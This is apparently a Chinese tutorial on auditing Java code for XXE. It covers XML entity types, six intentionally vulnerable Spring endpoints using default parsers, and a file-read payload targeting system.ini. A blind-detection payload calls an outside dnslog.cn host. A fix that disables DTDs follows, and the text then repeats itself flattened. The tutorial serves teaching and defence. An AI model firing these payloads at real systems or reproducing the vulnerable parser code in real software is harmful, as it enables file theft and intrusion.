Java代码审计之XXE
字数 947 2025-08-12 11:34:25

Java代码审计之XXE漏洞详解

1. XXE漏洞概述

XXE (XML External Entity Injection)即XML外部实体注入漏洞。当应用程序解析XML输入时,如果允许引用外部实体,攻击者可以通过构造恶意XML内容实现:

  • 任意文件读取
  • 系统命令执行
  • 内网端口探测
  • 攻击内网网站

XXE支持sun.net.www.protocol包中的所有协议:httphttpsfileftpmailtojarnetdoc

2. XML与DTD基础

2.1 XML基础

XML (可扩展标记语言)是一种用于传输和存储数据的标记语言,不用于显示数据。

2.2 DTD基础

DTD(文档类型定义)用于定义XML文档的合法构建模块,使用一系列合法元素定义文档结构。

2.3 实体(ENTITY)类型

XML中有以下几种实体类型:

  1. 字符实体
    类似HTML实体编码,形如:&a;(十进制)或&a;(十六进制)

  2. 命名实体(内部实体)
    语法:

    <!ENTITY 实体名称 "实体的值">
    

    示例:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
      <!ENTITY x "First Param!">
      <!ENTITY y "Second Param!">
    ]>
    <root>
      <x>&x;</x>
      <y>&y;</y>
    </root>
    
  3. 外部普通实体
    用于加载外部文件内容(显式XXE攻击主要利用此类实体)
    语法:

    <!ENTITY 实体名称 SYSTEM "URI/URL">
    

    示例:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
      <!ENTITY outfile SYSTEM "outfile.xml">
    ]>
    <root>
      <outfile>&outfile;</outfile>
    </root>
    
  4. 外部参数实体
    %开始,以;结束,主要用于DTD和文档内部子集中
    (Blind XXE攻击常利用参数实体进行数据回显)
    示例:

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE root [
      <!ENTITY % param1 "Hello">
      <!ENTITY % param2 " ">
      <!ENTITY % param3 "World">
      <!ENTITY dtd SYSTEM "combine.dtd">
      %dtd;
    ]>
    <root><foo>&content;</foo></root>
    

    combine.dtd内容:

    <!ENTITY content "%param1;%param2;%param3;">
    

3. Java中的XXE漏洞代码示例

3.1 XMLReader漏洞代码

@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        XMLReader xmlReader = XMLReaderFactory.createXMLReader();
        xmlReader.parse(new InputSource(new StringReader(body))); // parse xml
        return "xmlReader xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

3.2 SAXBuilder漏洞代码

@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        SAXBuilder builder = new SAXBuilder();
        builder.build(new InputSource(new StringReader(body))); // cause xxe
        return "SAXBuilder xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

3.3 SAXReader漏洞代码

@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        SAXReader reader = new SAXReader();
        reader.read(new InputSource(new StringReader(body))); // cause xxe
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "SAXReader xxe vuln code";
}

3.4 SAXParser漏洞代码

@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        SAXParserFactory spf = SAXParserFactory.newInstance();
        SAXParser parser = spf.newSAXParser();
        parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());
        return "SAXParser xxe vuln code";
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

3.5 Digester漏洞代码

@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        Digester digester = new Digester();
        digester.parse(new StringReader(body)); // parse xml
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
    return "Digester xxe vuln code";
}

3.6 DocumentBuilder漏洞代码(有回显)

@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body);
        InputSource is = new InputSource(sr);
        Document document = db.parse(is);
        
        StringBuilder buf = new StringBuilder();
        NodeList rootNodeList = document.getChildNodes();
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList child = rootNode.getChildNodes();
            for (int j = 0; j < child.getLength(); j++) {
                Node node = child.item(j);
                buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
            }
        }
        sr.close();
        return buf.toString();
    } catch (Exception e) {
        logger.error(e.toString());
        return EXCEPT;
    }
}

4. XXE攻击Payload示例

4.1 有回显的文件读取Payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
  <!ENTITY goodies SYSTEM "file:///c:/windows/system.ini"> 
]>
<creds>&goodies;</creds>

4.2 无回显的DNSLog探测Payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
  <!ENTITY xxe SYSTEM "http://obfz0y.dnslog.cn" >
]>
<value>&xxe;</value>

5. XXE漏洞修复方案

5.1 禁用DTD和外部实体

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

6. DNSLog在XXE中的应用

DNSlog是存储在DNS服务器上的域名信息,记录用户对域名的访问信息。在以下场景中特别有用:

  1. SQL盲注
  2. 无回显的XSS
  3. 无回显的命令执行
  4. 无回显的SSRF
  5. Blind XXE

对于无回显的XXE漏洞,可以通过DNSlog来验证漏洞是否存在。

Java代码审计之XXE漏洞详解 1. XXE漏洞概述 XXE (XML External Entity Injection)即XML外部实体注入漏洞。当应用程序解析XML输入时,如果允许引用外部实体,攻击者可以通过构造恶意XML内容实现: 任意文件读取 系统命令执行 内网端口探测 攻击内网网站 XXE支持 sun.net.www.protocol 包中的所有协议: http 、 https 、 file 、 ftp 、 mailto 、 jar 、 netdoc 。 2. XML与DTD基础 2.1 XML基础 XML (可扩展标记语言)是一种用于传输和存储数据的标记语言,不用于显示数据。 2.2 DTD基础 DTD(文档类型定义)用于定义XML文档的合法构建模块,使用一系列合法元素定义文档结构。 2.3 实体(ENTITY)类型 XML中有以下几种实体类型: 字符实体 类似HTML实体编码,形如: &a; (十进制)或 &a; (十六进制) 命名实体(内部实体) 语法: 示例: 外部普通实体 用于加载外部文件内容(显式XXE攻击主要利用此类实体) 语法: 示例: 外部参数实体 以 % 开始,以 ; 结束,主要用于DTD和文档内部子集中 (Blind XXE攻击常利用参数实体进行数据回显) 示例: combine.dtd内容: 3. Java中的XXE漏洞代码示例 3.1 XMLReader漏洞代码 3.2 SAXBuilder漏洞代码 3.3 SAXReader漏洞代码 3.4 SAXParser漏洞代码 3.5 Digester漏洞代码 3.6 DocumentBuilder漏洞代码(有回显) 4. XXE攻击Payload示例 4.1 有回显的文件读取Payload 4.2 无回显的DNSLog探测Payload 5. XXE漏洞修复方案 5.1 禁用DTD和外部实体 6. DNSLog在XXE中的应用 DNSlog是存储在DNS服务器上的域名信息,记录用户对域名的访问信息。在以下场景中特别有用: SQL盲注 无回显的XSS 无回显的命令执行 无回显的SSRF Blind XXE 对于无回显的XXE漏洞,可以通过DNSlog来验证漏洞是否存在。